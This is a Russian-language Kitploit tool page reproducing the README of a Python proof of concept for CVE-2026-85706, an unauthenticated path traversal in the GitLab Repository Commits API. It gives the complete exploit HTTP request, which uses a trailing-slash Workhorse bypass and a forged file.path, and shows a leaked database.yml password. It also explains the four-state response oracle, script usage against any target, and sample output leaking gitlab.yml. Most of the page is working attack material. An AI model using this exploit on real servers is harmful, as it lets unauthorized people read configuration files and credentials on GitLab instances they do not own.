Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-85706 — Python PoC для CVE-2026-85706 — неаутентифицированный обход пути в GitLab CE/EE Repository Commits API, позволяющий утечку произвольных локальных файлов через четырёхсостоянийный оракул. | Kitploit
Инструменты/GitHubGitHub/mhtsec/cve-2026-85706
РазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхСбор информацииВеб-безопасностьТестирование на Проникновение
GitHubmhtsec/cve-2026-85706

CVE-2026-85706

Python PoC для CVE-2026-85706 — неаутентифицированный обход пути в GitLab CE/EE Repository Commits API, позволяющий утечку произвольных локальных файлов через четырёхсостоянийный оракул.

111 ч 22 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2026-85706: неавторизованный обход пути в GitLab CE/EE

  • CVE: CVE-2026-85706, CVSS 3.1 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
  • Компонент: GitLab CE/EE Repository Commits API (вариант body-upload в Workhorse)
  • Затронуто: 18.7 ≤ version < 19.1.8, 19.2.0–19.2.5, 19.3.0–19.3.1
  • Исправлено: 19.1.8 / 19.2.6 / 19.3.2 (критический патч выпущен 2026-09-10)
  • Опасность: обход пути для чтения произвольных локальных файлов на сервере без какой-либо учётной записи; возможность отражения содержимого зависит от целевого файла, что образует четырёхсостояниевый oracle (см. «Границы отражения»)

Цепочка уязвимости

API «создание commit» в GitLab (POST /api/v4/projects/:id/repository/commits) позволяет передать в одном запросе содержимое множества файлов. Чтобы избежать попадания слишком больших тел запросов напрямую в парсер Rails, Workhorse сначала сохраняет тело запроса на диск во временный файл, а затем внедряет метаданные file.path / file.size и т. п. в пересылаемый запрос, и endpoint Rails считывает файл по этим параметрам. Цепочка уязвимости складывается из четырёх звеньев:

  1. Аутентификация происходит после чтения файла: точка входа post ':id/repository/commits' содержит только require_gitlab_workhorse! (проверяет лишь «пересылку через Workhorse»), а настоящая authenticate! скрыта дальше в authorize_push_to_branch!, тогда как чтение с обходом пути происходит до неё.
  2. Метаданные сохранения на диск берутся из параметров запроса: file_params_from_body_upload напрямую принимает параметры запроса file.path / file.size / Content-Type за метаданные, внедрённые Workhorse, не различая источник параметров, и File.read(file_path) позволяет обойти путь к любому локальному файлу.
  3. Отражение ошибки парсинга Rack: при Content-Type=application/x-www-form-urlencoded содержимое файла передаётся на разбор в Rack::Utils.parse_nested_query; недопустимая %-последовательность в содержимом вызывает ArgumentError: invalid %-encoding (<содержимое компонента>), которое через bad_request! дословно отражается в ответ 400. Отражение работает по принципу «первый пришедший получает»: & / = являются границами компонентов, разбор прерывается на компоненте с первой недопустимой % и отражает этот компонент; при отсутствии разделителей весь файл отражается целиком как один компонент (корректные шестнадцатеричные escape-последовательности %xx ошибку не вызывают).
  4. Завершающий слэш обходит перезапись Workhorse: прямой запрос к основному endpoint попадает под перехват body-upload в Workhorse (строгое совпадение .../repository/commits\z), и подделанные параметры поглощаются в содержимое сохранённого на диск файла. Добавление / в конец URL нарушает это совпадение, и запрос попадает в резервный подписывающий обратный прокси — исходное тело запроса вместе с подделанными параметрами дословно пересылается в Rails с действительным JWT, require_gitlab_workhorse! проходит; Grape после нормализации завершающего слэша всё равно попадает в уязвимый handler.

Предварительное условие: :id в URL должен быть реально существующим проектом (подойдёт любой публичный проект), вход в систему на всём протяжении не требуется.

Эксплуатирующий запрос (database.yml при развёртывании с внешней БД; при наличии недопустимой %-последовательности в пароле отражается весь фрагмент):

root@kitploit:~
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded

Ответ (отражается весь компонент, содержащий первую недопустимую %):

root@kitploit:~
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n  adapter: postgresql\n  username: gitlab\n  password: \"P@ss%w0rd\" ...)"} 

Границы отражения (четырёхсостояниевый oracle)

Чтение выполняется от имени пользователя git процесса Puma, а ответ образует четырёхсостояниевый oracle:

Фактически доступный для чтения диапазон при развёртывании по умолчанию (проверено на практике):

  • Основная зона чтения содержимого — файлы, естественно содержащие %: логи и артефакты сборки CI, загруженные пользователями вложения, database.yml при развёртывании с внешней БД. В database.yml при аутентификации по умолчанию через локальный socket peer поле пароля пустое, значение появляется только при развёртывании с внешней БД.
  • gitlab.yml: в отрендеренных комментариях шаблона уже в начале файла (примерно строка 19) присутствуют последовательности вроде 95%, %{key}, тогда как конфигурация учётных данных (incoming_email, LDAP, объектное хранилище и т. д.) находится после строки 170 — принцип «первый пришедший получает» означает, что при развёртывании по умолчанию отражается только головной фрагмент, а фрагмент с учётными данными прочитать нельзя; он читается лишь в вариантах развёртывания без мешающих последовательностей (пользовательские шаблоны и т. п.). Отдельно отметим, что пароль SMTP (gitlab_rails['smtp_password']) не рендерится в gitlab.yml; фактически туда рендерятся учётные данные incoming_email, LDAP, object_store.
  • secrets.yml состоит из чистого hex без %, содержимое прочитать нельзя (401); , приватные ключи TLS, архивы резервных копий доступны только root (лишь oracle 500).

Использование скрипта

Реализация на стандартной библиотеке Python 3, без сторонних зависимостей. Скрипт автоматически интерпретирует четырёхсостояниевый результат согласно таблице выше.

root@kitploit:~
python3 exploit.py -t http://<target>:<port>        # по умолчанию читает gitlab.yml (быстрая проверка отражения)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd

Пример вывода (чтение gitlab.yml при развёртывании по умолчанию — отражается головной фрагмент, а не фрагмент с учётными данными):

root@kitploit:~
============================================================
  CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------

Только для авторизованного тестирования безопасности и исследования уязвимостей.

Скачать инструмент
ОтветЗначениеПример
400 local file not presentфайл не существует/etc/nonexistent
500 Internal Server Errorсуществует, но у пользователя git нет прав на чтение (необработанный Errno::EACCES); ошибки разбора читаемых файлов в ветке multipart также приводят к 500/etc/shadow, /etc/gitlab/gitlab-secrets.json
401 Unauthorizedсуществует и доступен для чтения, но содержимое не содержит недопустимых %-последовательностей и не отражается/etc/passwd, /proc/self/environ
400 invalid %-encoding (<содержимое>)существует, доступен для чтения и содержит недопустимую %-последовательность — весь компонент отражаетсялоги с %, артефакты сборки CI, database.yml при внешней БД
gitlab.rb
  • Сам четырёхсостояниевый oracle также является примитивом разведки: зондирование внутренней структуры путей, самопросмотр процессов через /proc/self/*, вычисление путей @hashed по ID проекта для зондирования существования приватных проектов.
  • ПараметрОписание
    -tАдрес целевого GitLab (обязательный), например http://<target>:<port>
    -fАбсолютный путь для чтения (по умолчанию /var/opt/gitlab/gitlab-rails/etc/gitlab.yml)
    -pID проекта, подойдёт любой реально существующий проект (по умолчанию 1)
    -oСохранить прочитанное содержимое в локальный файл